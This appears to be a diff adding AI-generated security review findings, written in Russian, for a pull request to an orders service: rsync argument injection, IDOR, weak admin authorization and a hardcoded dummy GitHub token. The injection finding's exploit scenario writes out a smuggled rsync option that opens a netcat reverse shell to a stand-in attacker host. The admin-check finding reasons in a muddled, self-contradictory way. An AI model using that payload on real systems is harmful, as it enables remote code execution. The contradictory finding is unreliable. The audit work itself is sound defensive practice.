diff --git a/security-analysis/findings/pr-13/1787511147-review.json b/security-analysis/findings/pr-13/1787511147-review.json new file mode 100644 index 0000000..5cc294a --- /dev/null +++ b/security-analysis/findings/pr-13/1787511147-review.json @@ -0,0 +1,86 @@ +[ + { + "id": "ai-review-0-orders.py-105", + "source": "ai-review", + "category": "injection", + "severity": "critical", + "confidence": 0.95, + "file": "orders.py", + "line_start": 105, + "line_end": 122, + "title": "Недостаточная валидация хоста для rsync", + "description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.", + "impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.", + "exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.", + "evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).", + "recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.", + "cwe": "CWE-78", + "status": "OPEN", + "created_at": "2026-08-23T18:52:27Z", + "pr_number": 13, + "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" + }, + { + "id": "ai-review-1-orders.py-32", + "source": "ai-review", + "category": "idor", + "severity": "high", + "confidence": 1.0, + "file": "orders.py", + "line_start": 32, + "line_end": 65, + "title": "IDOR при доступе к заказам", + "description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.", + "impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.", + "exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.", + "evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).", + "recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.", + "cwe": "CWE-639", + "status": "OPEN", + "created_at": "2026-08-23T18:52:27Z", + "pr_number": 13, + "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" + }, + { + "id": "ai-review-2-orders.py-65", + "source": "ai-review", + "category": "authz", + "severity": "high", + "confidence": 1.0, + "file": "orders.py", + "line_start": 65, + "line_end": 70, + "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю", + "description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).", + "impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).", + "exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).", + "evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.", + "recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.", + "cwe": "CWE-285", + "status": "OPEN", + "created_at": "2026-08-23T18:52:27Z", + "pr_number": 13, + "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" + }, + { + "id": "ai-review-3-orders.py-15", + "source": "ai-review", + "category": "sensitive-data", + "severity": "medium", + "confidence": 1.0, + "file": "orders.py", + "line_start": 15, + "line_end": 15, + "title": "Хардкод токена GitHub в коде", + "description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.", + "impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.", + "exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.", + "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.", + "recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.", + "cwe": "CWE-312", + "status": "OPEN", + "created_at": "2026-08-23T18:52:27Z", + "pr_number": 13, + "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" + } +] \ No newline at end of file